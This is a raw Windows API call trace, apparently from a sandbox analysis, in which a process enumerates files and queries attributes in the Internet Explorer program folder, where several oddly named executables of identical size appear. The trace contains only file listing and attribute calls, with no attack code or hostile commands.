	[0244.035] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1
	[0244.035] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1
	[0244.039] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1
	[0244.039] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1
	[0244.039] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0244.039] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e8c1e70, ftCreationTime.dwHighDateTime=0x1d59ff6, ftLastAccessTime.dwLowDateTime=0x1b13d280, ftLastAccessTime.dwHighDateTime=0x1d5cb4a, ftLastWriteTime.dwLowDateTime=0x1b13d280, ftLastWriteTime.dwHighDateTime=0x1d5cb4a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="punch.exe", cAlternateFileName="")) returned 1
	[0244.039] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0244.039] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0244.040] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x135845c0, ftCreationTime.dwHighDateTime=0x1d5ed01, ftLastAccessTime.dwLowDateTime=0x260bed0, ftLastAccessTime.dwHighDateTime=0x1d5ccfb, ftLastWriteTime.dwLowDateTime=0x260bed0, ftLastWriteTime.dwHighDateTime=0x1d5ccfb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tenderanybody.exe", cAlternateFileName="TENDER~1.EXE")) returned 1
	[0244.040] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1bb0880, ftCreationTime.dwHighDateTime=0x1d5a8ae, ftLastAccessTime.dwLowDateTime=0x921336f0, ftLastAccessTime.dwHighDateTime=0x1d5a41c, ftLastWriteTime.dwLowDateTime=0x921336f0, ftLastWriteTime.dwHighDateTime=0x1d5a41c, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 1
	[0244.040] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df800 | out: lpFindFileData=0xc0001df800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.040] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.041] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df9cc, lpOverlapped=0x0) returned 0
	[0244.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1
	[0244.049] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.049] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800)) returned 1
	[0244.056] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.057] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1
	[0244.057] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.058] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.058] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4)) returned 1
	[0244.064] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.064] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.064] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US" (normalized: "c:\\program files\\internet explorer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0244.065] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.065] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1
	[0244.065] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1
	[0244.065] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1
	[0244.065] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc0001df728 | out: lpFindFileData=0xc0001df728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.065] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0244.065] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0244.067] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0244.083] SetEvent (hEvent=0x124) returned 1
	[0244.083] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600)) returned 1
	[0244.115] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
	[0244.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\filezilla.exe" (normalized: "c:\\program files\\internet explorer\\filezilla.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7c0a00, ftCreationTime.dwHighDateTime=0x1d5d5d5, ftLastAccessTime.dwLowDateTime=0x61850680, ftLastAccessTime.dwHighDateTime=0x1d56637, ftLastWriteTime.dwLowDateTime=0x61850680, ftLastWriteTime.dwHighDateTime=0x1d56637, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0244.120] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400)) returned 1
	[0244.125] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.125] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000)) returned 1
	[0244.132] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800)) returned 1
	[0244.133] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00)) returned 1
	[0244.136] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340)) returned 1
	[0244.144] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df8f4, lpOverlapped=0x0) returned 0
	[0244.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\images" (normalized: "c:\\program files\\internet explorer\\images"), fInfoLevelId=0x0, lpFileInformation=0xc0001df940 | out: lpFileInformation=0xc0001df940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.183] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\images" (normalized: "c:\\program files\\internet explorer\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0xc0001df6f8 | out: lpFindFileData=0xc0001df6f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
